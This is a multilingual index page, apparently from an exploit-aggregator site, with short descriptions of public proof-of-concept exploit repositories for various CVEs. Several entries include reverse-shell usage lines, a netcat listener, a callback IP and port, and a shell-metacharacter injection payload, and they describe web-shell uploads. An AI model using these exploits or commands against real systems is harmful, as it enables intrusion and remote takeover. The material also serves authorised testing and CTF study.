CVE-2014-6271

CVE-2014-6271 Shellshock脆弱性スキャナー...

CVE-2023-34039

CVE-2023-34039 CVE-2023-34039 の PoC - VMWare Aria Operations for Networks vRealize Network Insight 静的 SSH キー RCE 技術的分析 脆弱性の根本原因分析は私のブログでご覧いただけます： https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-34039/ 概要 VMWare Aria Operations for Networks vRealize Network Insight バージョン 6...

CVE-2021-32160

..| XSS から特権ユーザーへ |.. 説明 : リフレクト型クロスサイトスクリプティング（XSS）攻撃を悪用して、Webminのユーザー追加機能を介して特権ユーザーを作成し、その後Webminのプロセス実行機能を介してリバースシェルを取得する テスト済みバージョン : Webmin 1.973 GitHubの最新バージョン 07/03/2021 攻撃タイプ: リモート 影響 : リモートコマンド実行 エクスプロイトのコード PoC : 製品のベンダー : https://www.webmin.com 追加情報 :...

Poison-HTB-Report

Poison-HTB-レポート HTB 'Poison' での特権昇格 - PwnKit CVE-2021-4034 を使用 HTB 'Poison' - 特権昇格レポート BugVex このリポジトリは、Hack The Box マシン Poison に関する完全な脆弱性レポートです。 🔍 エクスプロイト概要 CVE: CVE-2021-4034 PwnKit テクニック: 環境変数操作による特権昇格 影響: 非特権ユーザーからのルートシェル 使用ツール: Nmap, Gobuster, LinPEAS, GCC, Burp Suite, GDB 🧠 メモ...

CVE-2022-31814

CVE-2022-31814 Exploit actualizado - pfBlockerNG = 2.1.426 Unauth RCE CVE-2022-31814 Descripción Este script es un exploit de prueba de concepto para pfBlockerNG = 2.1.426 que permite la ejecución remota de código. Toma una URL objetivo única o una lista de URLs, intenta subir un shell usando...

golang-webmin-CVE-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell Webmin ターゲット URL c - Webmin の認証情報 sl - ペイロードをホストするローカルサーバーの IP とポート s - コールバック IP p - コールバックポート 参照 https://www.webmin.com/security.html https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/ https://nvd.nist.gov/vuln/detail/CVE-2022-0824...

CVE-2022-33891

「💥」CVE-2022-33891 説明 Apache Spark...

CVE-2019-7214

Windows リバースシェルエクスプロイト（TCP経由のPowerShell） このPythonスクリプトは、リモートのWindowsマシン上で実行されている脆弱なサービスを標的とします。シリアル化された.NETペイロードを送信し、攻撃者のマシンに対してPowerShellベースのリバースシェルを起動します。 CVE-2019-7214 SmarterMail システムの .NET デシリアライゼーションにおけるリモートコード実行。 ⚙️ 設定 スクリプトの設定セクションを、お使いの環境に合わせて更新してください： root@kitploit: HOSTNAME = 'hostname'...

Flangvik

Flangvik CVE-2021-26855（別名 ProxyLogon）の C POC。従来の半対話型ウェブシェルおよびシェルコードに対応…...

Chamilo-LMS-CVE-2023-4220-Exploit

Chamilo LMS CVE-2023-4220 エクスプロイト 概要 このスクリプトは Chamilo LMS バージョン ≤ v1.11.24 におけるリモートコード実行（RCE）脆弱性を悪用します。この脆弱性（CVE-2023-4220）は、Chamilo LMS の bigUpload.php 機能における無制限ファイルアップロードの不備に起因し、攻撃者が任意のファイル（Webシェルなど）をアップロード・実行することで、サーバ上での完全なリモートコード実行を可能にします。 本スクリプトは Divine Clown...

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

WonderCMS 4.3.2 XSSからRCEへのエクスプロイト 概要 これらのスクリプトは、WonderCMS 4.3.2 のXSS（クロスサイトスクリプティング）脆弱性を悪用して、リモートコード実行（RCE） を達成します。XSSペイロードが管理者によってトリガーされると、細工された悪意のあるテーマモジュールを利用して、ターゲットサーバーにリバースシェルを自動的にインストールします。リバースシェルは revshells.com から取得され、実行されることで攻撃者にサーバーへのリモートアクセスを提供します。 目次 前提条件 スクリプト1: 自動エクスプロイト 特徴 使用法...

CVE-2024-52375

WordPress Datasets Manager 💥 漏洞利用作者：Nxploit Khaled Alenazi 📅 CVE 发布时间：2024 年 11 月 14 日 🧠 CVSS 评分：10.0（严重） 🛠 CWE-434：危险类型文件的不受限制上传 📌 描述 在 Arttia Creative 的 Datasets Manager WordPress 插件中发现了一个严重漏洞，影响 直至并包括 1.5 的所有版本。 该插件在上传过程中未能正确验证文件类型，允许未经认证的攻击者上传任意文件（包括 PHP shells），从而实现远程代码执行（RCE） 。 🧠 CVE 详情 CVE...

CVE-2025-29279

CVE-2025-29279 要利用此漏洞，攻击者需在诊断部分的 Traceroute6 诊断的 "主机地址" 中插入 payload example.com;echo 'testing'...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646 向けの Python による RCE エクスプロイト 使用方法 リスナーを起動 root@kitploit: nc -lvnp エクスプロイトを実行 root@kitploit: python3 CVE-2023-38646.py -u -l -p ヘルプ root@kitploit: python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this...

CVE-2014-7205

Bassmaster NodeJS プラグイン RCE PoC bassmaster-rce.py: CVE-2014-7205 を悪用する Python スクリプト。 nodeshell.py: NodeJS 用のリバースシェルを生成する Python モジュール。 !!テスト許可のあるサーバに対してのみ使用すること 概要 CVE-2014-7205 は、NodeJS 用 Bassmaster プラグインにおけるリモートコード実行の脆弱性です。 バージョン 1.5.1 以下が影響を受けます。脆弱性は lib/batch.js ファイルの internals.batch 関数に存在し、...

CVE-2012-2593

Cadena de Explotación XSS-CSRF-RCE en Atmail PoC atmail-rce.py: Explota CVE-2012-2593 en la interfaz de webmail de Atmail. atmail-csrf.js: Archivo Javascript que aprovecha CVE 2012-2593 para convertirlo en un CSRF e instalar un plugin malicioso que ejecuta una reverse shell. Plugin.php: Plugin de...

CVE-2022-42889

クイックスタート root@kitploit: sudo apt install golang Pythonのように実行する場合: root@kitploit: go run main.go arg1 arg2 実行ファイルをビルドする場合: root@kitploit: go build main.go 使用法: root@kitploit: non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' 今後の予定: リバースシェルの機能...

CVE-2007-2447

CVE-2007-2447 リモートコマンドインジェクションの脆弱性 CVE-2007-2447 により、リモート攻撃者はシェルのメタ文字を含むSambaユーザー名を指定することで任意のコマンドを実行できます。...

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 は、laravel-admin v1.8.19における任意のファイルアップロードの脆弱性です。このProof of Conceptは、この脆弱性を悪用してWebシェルをアップロードします。 このエクスプロイトは、HackTheBoxのイージーマシン Usage に対して使用するために作成されました。 使用例 root@kitploit: python3 CVE-2023-24249.py + Web shell uploaded to...

CVE-2022-46169

CVE-2022-41343 🐍 CVE-2022-46169 の Python エクスプロイト Cacti = 1.2.22 用 ステージドリバースシェル Example root@kitploit: cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb Usage root@kitploit: usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip Shell Callback IP Address/Host port Shell Callba...